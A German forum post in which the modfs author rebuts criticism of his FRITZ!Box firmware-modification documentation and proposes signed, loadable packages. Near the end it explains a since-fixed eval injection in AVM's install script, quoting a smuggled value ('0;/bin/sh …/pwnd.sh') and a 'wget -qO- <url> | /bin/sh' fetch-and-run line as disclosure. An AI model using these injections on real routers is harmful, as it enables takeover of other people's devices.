@Chatty:
Ich habe gerade Deine Änderungen an #9 gesehen, daher noch ein paar (chronologisch an #9 orientierte) Antworten/Reaktionen.
Was macht "for m in swapoff exec profile"?
Das, was ich versucht habe zu beschreiben. Meine Kommandofolge listet ALLE "modscripts" (auch die in
contrib) in der
custom_modscripts (es wird ja eine neue Datei erzeugt, die diese Namen alle enthält) und setzt dabei auch im ersten Schritt für ALLE Modifikationen ein
- in die erste Spalte ... sie werden also gar nicht angefaßt beim Modifizieren des Images. Die
for-Schleife soll dann die gewünschten Modifikationen (hier wären es iirc vier) wieder aktivieren in dieser Datei ... und für die Kontrolle, ob diese "Liste" im
for auch die richtigen Skript-Files erwischt hat, zeige ich sie ja am Ende auch noch einmal an.
Das halte ich in jedem Falle für sinnvoller, als sich auf Wildcards zu verlassen ... wenn das (von Dir verwendete
chmod) so von mir käme bzw. als "Anleitung" von jemandem mißverstanden werden sollte, hätte man ja schon ein Problem mit (künftigen) Namen, weil man nicht genau wüßte, ob die nun mit oder ohne gesetztes
x-Flag enden würden. Und anders als Du es hier schreibst:
Deine Vorauswahl der exec-Rechte ist ja letztlich auch nur eine Empfehlung.
, treffe ich selbst gar keine Auswahl irgendwelcher "modscripts" (außer denen, die ich nach "inactive" verschoben habe, weil sie eher für ältere Versionen mal sinnvoll waren und es heute nicht mehr sind, aber gleichzeitig kein Beschränkung auf irgendwelche Versionsnummern im Code haben) ... wenn beim Zusammenpacken alles richtig läuft, haben die alle
754 als Flags-Wert gesetzt und das führt dazu, daß jedes einzelne davon "abgefragt" wird im Terminal.
Wenn das vielleicht nicht bei jedem Skript schon im Repo so ist, ist das auch nur der Tatsache geschuldet, daß mein Hauptaugenmerk beim "Vertrieb" von "modfs" nun mal bisher auf der Datei
modfs.tgz lag, die ich auf
yourfritz.de bereitstelle. Denn bis zur neuen BusyBox bei AVM war eben kein HTTPS-Download von GitHub möglich - ursprünglich funktionierte der mit
httpsdl von AVM gar nicht, aber spätere Versionen dieses AVM-Programms konnten dann tatsächlich auch schon erfolgreich Downloads von GitHub ausführen ... leider aber nur so lange, wie es bis zum "tatsächlichen" Download keine Redirections gab.
So kann man mit
httpsdl (und vor der neuen BusyBox-Version gab es bei AVM kein anderes Programm für solche Downloads) den Boot-Manager eben nicht von der URL, die im GitHub verlinkt wird, herunterladen (
https://github.com/PeterPawn/YourFritz/raw/main/bootmanager/bootmanager) ... erst wenn man die tatsächliche Adresse verwendet (von der vorhergehenden wird dahin umgeleitet), klappt der Download auch mit dem AVM-Programm:
https://raw.githubusercontent.com/PeterPawn/YourFritz/main/bootmanager/bootmanager
Und genau deshalb war das Repository bisher nie als "der übliche Weg" zum Download von "modfs" angegeben von mir (außer ggf. für ältere Stände, falls die jemand haben wollte) ... das hast Du also auch aus eigenem Antrieb mit dem ZIP-File gemacht, was von GitHub aus jedem Repo erstellt werden kann. Aber auch dann hätte es ja gereicht, wenn Du einfach (für die "originalen" Dateirechte, wie sie auch in
modfs.tgz gesetzt sind) noch das ebenfalls im Repo enthaltene
set_correct_flags.sh aufgerufen hättest - auch das hätte das "Mißverständnis", daß meinerseits eine "Vorauswahl" der Modifikationen erfolgen würde, vermieden.
Denn auch das hier:
Aber nur drei Beispiele - alle haben die Rechte 0755, wurden also ausgeführt:
ist bei Verwendung einer
custom_modscripts mit dem von Dir gezeigten "Aufbau":
Code:
-modscripts/mod_prefer_fonnumber_name
+modscripts/mod_profile
-modscripts/mod_rc_tail_sh
falsch (oder sollte es zumindest sein, wenn alles reibungslos funktioniert), denn diese Dateiberechtigungen werden ja von
modfs exakt anhand dieser Datei gesetzt (
https://github.com/PeterPawn/modfs/blob/0dd27604d548baf5d9eaf3293e794461aff48851/modfs#L1131) und zwar BEVOR sie danach ausgeführt werden sollen. Und das mit der
custom_modscripts habe ich auch nicht nur einmal im
modfs-Thread erklärt ... das steht (mit hoher Wahrscheinlichkeit) auch mehrfach dort.
Womit ich dann wieder bei Deiner Feststellung:
Würdest du die Schritte von modfs nur an wiederholt und an vielen verstreuten Stellen beschreiben, würden deutlich weniger Leute ihre Firmware modifizieren. Aber jetzt wo es ein fertiges Skript gibt... und du glaubst vermutlich auch nicht, dass jeder jede Codezeile von modfs anschaut und obendrein noch versteht.
bin (die ja wohl irgendwie das Thema "verstreute Beschreibungen und warum ich das nicht einfach noch einmal alles als Buch herausbringe" betrifft) ... wenn Du das selbst liest und versuchst (ggf. auch im Kontext der Stelle, von wo das Zitat stammt), den Sinn zu verstehen - bist Du dann erfolgreich? Ich gebe zu, ich bin es nicht - ich verstehe die Aussage dieser zwei Sätze einfach nicht.
Wo wir dabei sind: sollte
hier nicht
$? gelesen werden?
Denkbar ... sieht zumindest auf den allerersten Blick so aus. Wobei ich vermutlich eher ein
rc=$? davor einfügen würde.
Vielleicht liest jemand ja auch #1 nur, um sich die Verwendung deiner Signaturskripte anzuschauen.
Warum sollte er? Liegt die Betonung dabei auf "Verwendung" oder ist das ein Beispiel, wo Du der Ansicht bist, ich würde einfach nur die Skript-Dateien selbst dem geneigten Benutzer vor die Füße werfen? Denn angesichts der doch eher ausführlichen Beschreibung von Signatur und Prüfung UND der wortreichen (wobei das hoffentlich auch gleichzeitig inhaltsreich ist) Erklärung, wie man diese Skript-Dateien zum Signieren und zum Prüfen von Signaturen benutzen kann (
https://www.ip-phone-forum.de/threa...ignieren-der-avm-firmware.286213/post-2165906), wüßte ich dann tatsächlich gerne, wie hoch bei Deinen Ansprüchen an eine "Dokumentation" die Latte liegt.
Wie gesagt, dein Repo bietet vieles... nur leider keine zusammenhängende Doku.
Wie gesagt ... für die allermeisten "Angebote" in den GitHub-Repositories gibt es hier auch irgendwo eine Erklärung - und sei sie noch so kurz. Die ist auch mit einer Suche nach Beiträgen von mir und mit dem jeweiligen Verzeichnis- oder Dateinamen zu finden - je nach Beliebtheit des jeweiligen Programms/Skripts halt nicht immer direkt als einzelne Fundstelle, aber das kann man ja auch kaum mir zum Vorwurf machen, denn wenn's nach mir ginge, gäbe es ja gar keine "doppelten Erklärungen" mehr.
An einigen Stellen in den Repos wird sogar explizit auf das jeweilige Thema im IPPF verwiesen - weil wir hier ja gerade beim
signimage-Thema sind, führe ich als Beispiel einfach mal den Inhalt genau dieses Unterverzeichnisses im Repo an:
https://github.com/PeterPawn/YourFritz/tree/main/signimage und vielleicht kannst Du mir ja Deine "Kritikpunkte" einfach noch einmal am konkreten Objekt in diesem Falle erläutern. Denn angesichts des vorherigen Zitats mit der Vermutung, warum jemand Dein #1 auch noch lesen wollen könnte, muß man ja schon davon ausgehen, daß sich die Kritik im letzten Zitat auch darauf beziehen sollte. Was genau fehlt denn hier? Die "Verlinkung" vom GitHub-Repo auf den IPPF-Thread? Oder der IPPF-Thread mit der (ausführlichen) Anleitung und ein Link auf das Repo?
Ich hoffe, daß Du es mir nachsiehst, wenn ich das alles nicht ganz so ernst nehmen kann, solange das nicht halbwegs schlüssig begründet ist. Und das hier:
Die Stellen bei meiner Anleitung, wo du den Sinn nicht verstehst, interessieren mich.
läßt mich nun vollkommen ratlos zurück ... meine Punkte, wo ich Zweifel hatte oder etwas nicht verstehen konnte, hatte ich ja oben schon sehr ausführlich dargelegt und einiges hast Du mittlerweile ja auch geändert. Das macht das zwar für künftige Leser wieder verständlicher, ändert aber nichts an meinem Unverständnis zu dem Zeitpunkt, wo ich das meinerseits schrieb und Dein Beitrag in #1 auch noch (etwas) anders aussah.
Und auch Deiner Aussage:
Ich halte einen Ansatz nicht verkehrt, der ein modscript verwendet, welches aber gewissse dokumentierte Vorarbeiten verlangt
kann ich so nicht folgen ... denn das, was Du da an manuellen Entscheidungen schon alles getroffen hast, wenn Du die richtigen Programme (für Deine Box und die verwendete FRITZ!OS-Version) von GitHub lädst, in eine passende Ordnerstruktur packst, die Dateien (nach dem Download, wo nun mal keine Flags mitgesendet werden) ausführbar machst und das dann alles in eine
binaries.tgz zusammenpackst, ist viel mehr als nur das Bereitstellen eines öffentlichen Schlüssels für die erste Anmeldung.
Dann mußt Du ja jetzt nur noch alles in diesem einen "modscript" so automatisieren, daß erst mal ermittelt wird, was die richtigen Dateien im Repo wären (das
copy_binaries entscheidet da ja nichts wirklich, was den INHALT des Archivs angeht) und die dann auch noch (während
modfs arbeitet) von GitHub laden. Das alles ohne weitere Prüfung bzw. sogar ohne Möglichkeit zum Prüfen, weil es bisher nur PGP-Signaturen von mir gibt und dafür AUF DER BOX wieder ein
gnupg2 (o.ä.) gebraucht würde - und muß so eine VR9-Box tatsächlich schon (Live-)Internetzugriff haben? Das
modfs kriegt man auch von lokal per FTP o.ä. auf die Box und muß es nicht ZWINGEND direkt vor der Ausführung aus dem Netz laden. Allerdings würde ich sogar noch hingehen und die Dateien auch mit OpenSSL so signieren, daß man sie auf der Box dann doch noch prüfen kann (halt wieder mit einem OpenSSL, für das dann die Prüfung natürlich auch wieder schwierig ist, solange es noch kein OpenSSL auf der Box gibt).
Und da nehme ich jetzt der Einfachheit halber mal an, daß man wirklich (wie
@eisbaerin) einen speziellen TFFS-Node für die
authorized_keys verwendet - den kann man dann tatsächlich auch wieder per Shell (oder auf einem der anderen Wege, die ich weiter oben schon erwähnt hatte) befüllen und zwar von dem System aus, was erst mal den Telnet-Zugriff erlaubt hat. Denn das hast Du oben ja auch ... ohne das SIAB-Image und die Installation eines Shell-Zugangs (was so eben nur auf VR9-Boxen funktioniert) kannst Du alles ab Punkt 3 nicht mehr machen.
Aber schauen wir uns doch einfach mal an, was wir (bzw. Du) jetzt erreicht haben ... es gibt für die 7490 eine Anleitung (oder ist es eine Zusammenstellung an Kommandos?), um so ein SSH-Paket einzubauen. Schon bei anderen Modellen (von ARM-basierten 7520/7530 bis zu GRX-Boxen) funktioniert
modfs nicht mehr so, wie oben gezeigt - auch wenn es andere Anleitungen gibt, wie man die Skripte für die Modifikationen auch bei diesen Boxen verwenden kann.
Da stelle ich mir halt die Frage, warum man das nicht gleich "richtig" machen sollte und zwar auch "mit Perspektive". Denn alle notwendigen Bausteine existieren mittlerweile tatsächlich ... nur sind es gerade diese "bread&butter"-Modifikationen an der AVM-Firmware, die spätere flexible Reaktionen ermöglichen, auf die Du offensichtlich in #1 verzichtet hast. Ich kann ja noch verstehen, wenn jemand sich den
YourFritz-Key nicht in die Firmware baut, weil er mir nicht so richtig trauen mag. Aber warum man dann auf die Integration eines EIGENEN Keys verzichten sollte, erschließt sich mir nicht.
Denn WENN man so einen Key erst mal in der Firmware hat, kann man sich problemlos auch noch ein Skript in die Firmware packen, das alle NAS-Basisverzeichnisse (also
/var/media/ftp und die Verzeichnisse für gemountete USB-Volumes) nach dem Mounten durchsucht und dabei für alle Dateien, die einem bestimmten Namensschema folgen (nehmen wir mal das altbewährte Muster
*.custom) einfach mal ein
tr069fwupdate packet ... aufruft (allerdings muß das serialisiert werden, damit nicht zwei Images gleichzeitig verarbeitet werden).
Das führt dann dazu, daß diese
.custom-Datei einer Signaturprüfung unterzogen wird und wenn sie diese besteht (dafür hat man ja den eigenen Key in der Firmware), wird die dort enthaltene Datei
./var/install aufgerufen (allerdings in einem Verzeichnis
/var/packet anstelle des Root-Verzeichnisses, was man bei Pfaden beachten muß). Dieses Skript kann jetzt den restlichen Inhalt der Image-Datei (der steht auch noch unter
/var/packet) benutzen, um weitere Programme in das OS einzubinden. Eine Option wäre z.B. das Entpacken einer im Image enthaltenen Archivdatei in ein bekanntes Verzeichnis (unterhalb von
/var), wie das diese Pakete machen:
https://github.com/PeterPawn/yf_bin/tree/761344186579a26a7f60791f76f0f938b19b3a44/packages ... eine andere ist es, ein dort enthaltenes SquashFS-Image zu mounten und darin enthaltene Daemons dann zu starten (das Image vor dem Mounten an eine andere Stelle verschieben, weil
/var/packet wieder gelöscht wird am Ende).
Das
tr069fwupdate hat (der Name täuscht, das wird halt AUCH beim Firmware-Update über TR-069 verwendet) sogar noch den Vorteil, daß man da sowohl lokale Dateien (per
file:///-URL) als auch Internet-Adressen (HTTP und HTTPS, ebenso auch FTP) angeben kann - echtes Internet halt erst/nur dann, wenn eine Verbindung hergestellt wurde. Damit MUSS man solche Pakete gar nicht mehr im NAS-Flash haben ... wenn man ausreichend RAM zur Verfügung hat.
Das sind schon mal zwei Optionen, wie man einfach nur mit einem simplen Skript + eigenem Key und ansonsten nur noch mit ohnehin bei AVM schon eingebauten Kommandos nahezu beliebige Erweiterungen in das FRITZ!OS einklinken kann - selbstverständlich auch einen SSH-Server. Ob man dann lieber ein selbstsigniertes Image auf NAS-Flash legt (das kann auch gleich die richtigen Public-Keys enthalten) oder ein bereitgestelltes Paket aus dem Internet lädt (wobei man dessen Ersteller und seinem Key dann halt vertrauen muß), ist wieder reine Geschmackssache bzw. bei manchen Erweiterungen dann auch den Umständen geschuldet.
So ist es z.B. irgendwann nicht mehr wirklich zielführend, größere SquashFS-Images tatsächlich in signierte Image-Dateien zu verpacken ... denn die müssen dann ja auch wieder ins RAM entpackt werden und wenn man sie dann von einem
tmpfs-Pfad aus auch noch mountet, müssen sie die gesamte Zeit über verfügbar bleiben. Das geht dann schnell "ins RAM" ... da ist es besser, wenn man die SquashFS-Images selbst tatsächlich nur auf dem NAS-Speicher ablädt und in die signierte Image-Datei stattdessen einfach nur eine sichere Prüfsumme für dieses SquashFS-Image legt, die dann vor dem Mounten noch einmal verglichen wird.
Da bietet sich dann wieder
sha3sum an (was als SHA3-512 auch schon in früheren BusyBoxen bei AVM enthalten war) - das bietet (a) sichere Hashes und hat (b) auch gleich alles eingebaut, um Hash-Wert und Dateiname in einer Datei zu verwalten, die auch bei einer Prüfung wieder automatisch gelesen werden kann. Da dort auch absolute Pfade möglich sind, kann man so einer Prüfsummen-Datei in einem signierten Image auch gleich den korrekten Pfad zum SquashFS-Image mit auf den Weg geben.
So ein Vorgehen hat dann auch noch zusätzlich den Vorteil, daß man es auch bei anderen Modellen relativ leicht anwenden kann ... denn alles, was es letztlich braucht, ist ein Skript zum Iterieren über die gewünschten Pakete und ihre "Quelladressen" und der eigene Key in der Firmware, mit dem die zu ladenden Pakete dann signiert sein müssen. Das kann man praktisch in jedes Firmware-Image relativ gefahrlos einbauen und solange AVM die Arbeitsweise des
tr069fwupdate nicht ändert (was aber in dieser Form auch beim Update von DECT-Firmware verwendet wird), bleiben es auch immer dieselben "Grundänderungen", die man an so einem Image vornehmen muß ... und das kriegt man dann tatsächlich auch noch so integriert, daß sich diese (winzigen) Änderungen im System "festkrallen" und so auch Updates überleben können - zumindest welche, die als
SILENT_UPDATE daherkommen und wo man nach der Installation der neuen Firmware noch genug Zeit zum nachträglichen (automatischen) Modifizieren hat.
Das wäre also MEINE Vorstellung von einer besseren Alternative zu dem hier gezeigten (händischen) Einbau so eines SSH-Servers ... und das sind alles keine Wolkenschlösser, sondern die notwendigen Zutaten sind tatsächlich alle vorhanden und veröffentlicht (außer den update-festen Modifikationen, die sich selbst in neue Versionen vererben - praktisch wie ein Virus oder Wurm). Die erste Option, bei der die enthaltenen Dateien in ein Verzeichnis in
/var entpackt werden, kann man sich (schon seit zwei Jahren und da stimme ich mal zu, daß das von mir tatsächlich nicht an die große Glocke gehangen wurde, wobei ich das Prinzip auch mehr als ein oder zwei Male hier erläutert habe im IPPF) im
yf_bin-Repo ansehen, wo ich mal ein paar Beispiele (zwei Pakete, die für alle Modelle gelten und eines, was sich an Architektur und Kernel-Version orientiert und in verschiedenen Ausführungen vorliegt) für jemanden veröffentlicht hatte.
Um das mit anderen Optionen nutzen zu können (die Skript-Files, um solche Images zu bauen, liegen dann auch in
yf_bin:
https://github.com/PeterPawn/yf_bin/tree/761344186579a26a7f60791f76f0f938b19b3a44/scripts), braucht es letztlich nur einen anderen Inhalt in der
./var/install ... und da sind der Phantasie des Benutzers dann wieder keine Grenzen gesetzt bzw. die Hürden sind niedrig.
Wenn ICH jedenfalls anderen so einen SSH-Server bereitstellen wollte, würde ich das (auch angesichts der Größe der beteiligten Dateien, die bei ausreichendem RAM in einer Box kein Problem sein sollten) eben in genau so einem "Package" machen (mit der schon erwähnten Speicherung der öffentlichen Schlüssel in einem freien TFFS-Node unter 100) ... nur komme ich halt nicht wirklich dazu. Was ich aber definitiv NICHT machen würde (und werde), ist es, das Ganze stattdessen in einer Art und Weise zu realisieren, die in meinen Augen gar keine wirkliche Zukunft hat und höchstens noch als "Übergangslösung" ihr Dasein fristet.
Danach braucht man dann eigentlich auch nur noch irgendeine Verwaltung, welche Packages initialisiert werden sollen und im besten Falle noch ein Paket, was aus mehreren solcher (generischen) Packages dann ein größeres zusammenstellen kann, was speziell für diese Box (und ihren erweiterten Funktionsumfang) gedacht ist. Dann wäre tatsächlich schon das formulierte "Ziel" des YourFritz-Projekts (nämlich die dynamische Erweiterung der Firmware durch nachladbare Pakete) erreicht. Mir selbst steht dabei in erster Linie im Weg, daß ich immer mal wieder ein paar Schritte rückwärts mache, weil mir eine frühere Lösung nicht mehr gefällt (oder AVM-Änderungen sie über den Haufen geworfen haben) und ich daher mit ein paar weiteren "Basics" (die aber nicht für diese "Package"-Idee benötigt werden) nie so richtig fertig werde.
Um mal ein Beispiel zu nennen ... bis vor kurzem gab es bei AVM in der
./var/install bei den meisten Modellen beim Umschalten von
linux_fs_start eine Schwachstelle, die man sehr schön dazu benutzen konnte, ein eigenes Kommando (auch in absolut unmodifizierter Firmware) genau dann auszuführen, wenn da tatsächlich ein Update erfolgen sollte. Der Code sah da üblicherweise so aus:
Rich (BBCode):
# get linux_fs_start
eval `cat $CONFIG_ENVIRONMENT_PATH/environment | grep "^linux_fs_start" | tr '\t' '='`
und wie man leicht sieht, würde da bei einem Wert
0;/bin/sh /var/media/ftp/pwnd.sh sowohl die Anweisung
linux_fs_start=0 ausgeführt, als auch das Shell-Skript
/var/media/ftp/pwnd.sh vom NAS-Flash (unabhängig von
noexec oder nicht) aufgerufen, in dem man dann wieder all das machen kann, was man möchte (die USB-Volumes waren da schon entladen, deshalb mußte das auf den internen Flash) ... der Rest des
install-Skripts von AVM wartet so lange.
So ein Wert in
linux_fs_start, der nicht nur
0 oder
1 ist, hat zwar jetzt - je nach Modell bzw. Kernel-Patches von AVM - durchaus andere Nebenwirkungen (bei VR9-Boxen praktisch keine), aber er war (obwohl praktisch schon "seit Urzeiten" so in dem Skript zu finden) bisher nicht wirklich eine erhebliche Sicherheitslücke ... dafür war er tatsächlich eine recht praktische Möglichkeit, sich direkt in ein solches AVM-Update einzuklinken und die zu flashende Image-Datei (mit den passenden SquashFS-Tools, die man auch auf den NAS-Flash legen mußte) VOR dem Flashen gleich mal zu verändern und die "Basics" der Modifikationen in die AVM-Firmware direkt einzubauen, ohne dazu ein eigenes Image über den Bootloader starten zu müssen.
Der Grund, warum das bisher kein kritisches Problem war, ist ganz einfach ... zum Zeitpunkt, wo das
install-Skript von AVM ausgeführt wird, ist praktisch alles andere, was "von außen" erreichbar wäre, schon heruntergefahren (durch
/bin/prepare_fwupgrade) und ggf. läuft sogar ein Watchdog mit, der die Box einfach neu startet, wenn die Installation zu lange dauert. Außerdem muß man natürlich irgendwie schon in der Lage gewesen sein, den Wert in
linux_fs_start passend zu manipulieren - wobei das (zumindest für den Besitzer) sicherlich der leichtere Teil ist.
Dann kam AVM aber mit dem
SILENT_UPDATE-Feature um die Ecke und da dabei das gesamte System auch bei und nach der Update-Installation weiterhin in vollem Umfang arbeitsfähig bleibt, eröffnen sich einem Angreifer (und diese Einstellung ist eben - bei einer Ethernet-Verbindung zu einer startenden FRITZ!Box - auch schnell manipuliert und dauert keine 5 Sekunden, so daß der Besitzer davon meist nichts mitbekommen würde) dann doch wieder ganz neue Wege.
Insbesondere muß er die ganze "Intelligenz" so eines Angriffs jetzt nicht mehr direkt im LAN versammeln, damit das alles auch "offline" funktioniert. Nein, er kann ganz einfach von irgendeinem Server beliebige Dateien aus dem Internet nachladen (mal unterstellt, daß die Box eine Internetverbindung nutzen kann) und sich dabei schon daran orientieren, um welches Modell und um welche FRITZ!OS-Version es sich konkret handelt, was eine "tailored attack" deutlich vereinfacht bzw. weniger auffällig macht (weil weniger Daten übertragen und gespeichert werden müssen). Das gilt natürlich auch für das auszuführende Kommando/Skript ... auch das kann dann einfach (z.B. mit einem
wget -qO- <url> | /bin/sh) noch aus dem Netz nachgeladen werden.
Das wurde mir dann doch zu heiß ... daher habe ich es dann an AVM gemeldet und mittlerweile ist diese Schwachstelle auch geschlossen. Aber das ist eben gleichzeitig auch ein Beispiel dafür, wie sich das System ändert und eine Schwachstelle, die ich eigentlich für die "Installation" der ersten Modifikationen auch bei anderen Modellen als den VR9-Boxen "vorgesehen" hatte, durch geänderte Umstände nicht mehr verfügbar ist und wo ich mir eben etwas Neues einfallen lassen muß, wenn ich das "allgemein und leicht machbar" zugänglich machen wollte. Auch so etwas wirft mich hin und wieder zurück ... eine weitere "Entschuldigung", warum das nicht so richtig vorwärts geht.
Aber das muß ja niemanden davon abhalten, das Vorhandene (und Veröffentlichte) auch jetzt schon zu benutzen ... und >95% davon habe ich auch schon (mehrfach) erklärt. Nun kann ich aber auch nichts dafür, wenn das jemandem "durch die Lappen geht" ... ich hindere auch niemanden daran, ältere Beiträge auch nach längerer Zeit doch noch zu lesen und ein Löschen kompletter Beiträge gibt es bei mir grundsätzlich nicht.
